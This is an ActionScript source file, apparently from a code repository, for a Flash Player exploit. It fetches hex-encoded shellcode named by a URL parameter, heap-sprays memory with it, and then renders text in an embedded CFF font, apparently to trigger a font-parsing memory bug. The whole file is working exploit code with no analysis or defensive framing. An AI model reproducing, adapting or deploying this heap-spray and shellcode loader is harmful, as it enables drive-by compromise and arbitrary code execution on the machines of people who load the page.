120 lines
3.5 KiB
ActionScript
Executable File
120 lines
3.5 KiB
ActionScript
Executable File
package {
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import flash.text.engine.*;
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import flash.utils.*;
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import flash.display.*;
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import flash.events.*;
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import flash.net.*;
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import flash.external.*;
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public class Main extends Sprite {
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private var FontClass:Class;
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public var kbArray:ByteArray;
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public var mbArray:ByteArray;
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public var tmpArray:ByteArray;
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public var allocs:Array;
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private var shellcode:String;
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private var urlLoader:URLLoader = new URLLoader();
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public function Main():void{
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this.FontClass = Main_FontClass;
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super();
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var source:String = root.loaderInfo.parameters.s;
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var path:String = "/" + source + ".txt"
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var urlRequest:URLRequest = new URLRequest(path);
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urlLoader.dataFormat = URLLoaderDataFormat.TEXT;
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urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
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urlLoader.load(urlRequest);
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}
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public function finishExploit(p:String):void{
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this.heapSpray(p);
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this.TextBlock_createTextLineExample();
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}
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public function urlLoader_complete(evt:Event):void {
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finishExploit(urlLoader.data);
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}
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public function TextBlock_createTextLineExample():void{
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var _local1 = "Edit the world in hex.";
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var _local2:FontDescription = new FontDescription("PSpop");
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_local2.fontLookup = FontLookup.EMBEDDED_CFF;
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var _local3:ElementFormat = new ElementFormat(_local2);
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_local3.fontSize = 16;
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var _local4:TextElement = new TextElement(_local1, _local3);
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var _local5:TextBlock = new TextBlock();
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_local5.content = _local4;
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this.createLines(_local5);
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}
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private function createLines(_arg1:TextBlock):void{
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var _local2:Number = 300;
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var _local3:Number = 15;
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var _local4:Number = 20;
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var _local5:TextLine = _arg1.createTextLine(null, _local2);
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while (_local5) {
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_local5.x = _local3;
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_local5.y = _local4;
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_local4 = (_local4 + (_local5.height + 2));
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addChild(_local5);
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_local5 = _arg1.createTextLine(_local5, _local2);
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};
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}
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public function heapSpray(p:String):void{
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var _local1:uint;
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_local1 = 0;
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this.kbArray = new ByteArray();
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this.kbArray.endian = Endian.LITTLE_ENDIAN;
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var _local4:String = p;
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var _local5:ByteArray = this.hexToBin(_local4);
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var _local6:uint = (_local4.length / 2);
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_local1 = 0;
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while (_local1 < 0x0400) {
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this.kbArray.writeByte(12);
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_local1 = (_local1 + 1);
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};
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_local1 = 0;
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this.mbArray = new ByteArray();
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this.mbArray.endian = Endian.LITTLE_ENDIAN;
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while (_local1 < 0x0400) {
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this.mbArray.writeBytes(this.kbArray, 0, this.kbArray.length);
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_local1 = (_local1 + 1);
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};
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_local1 = 0;
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while (_local1 < 0x100000) {
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this.mbArray.position = _local1;
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this.mbArray.writeBytes(_local5, 0, _local5.length);
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_local1 = (_local1 + 65536);
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};
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_local1 = 0;
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this.allocs = new Array();
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while (_local1 < 0x0200) {
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this.tmpArray = new ByteArray();
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this.tmpArray.endian = Endian.LITTLE_ENDIAN;
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this.tmpArray.writeBytes(this.mbArray, 0, this.mbArray.length);
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this.allocs.push(this.tmpArray);
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_local1 = (_local1 + 1);
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};
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}
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private function hexToBin(_arg1:String):ByteArray{
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var _local5:String;
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var _local2:ByteArray = new ByteArray();
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var _local3:uint = _arg1.length;
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var _local4:uint;
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_local2.endian = Endian.LITTLE_ENDIAN;
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while (_local4 < _local3) {
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_local5 = (_arg1.charAt(_local4) + _arg1.charAt((_local4 + 1)));
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_local2.writeByte(parseInt(_local5, 16));
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_local4 = (_local4 + 2);
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};
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return (_local2);
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}
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}
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}
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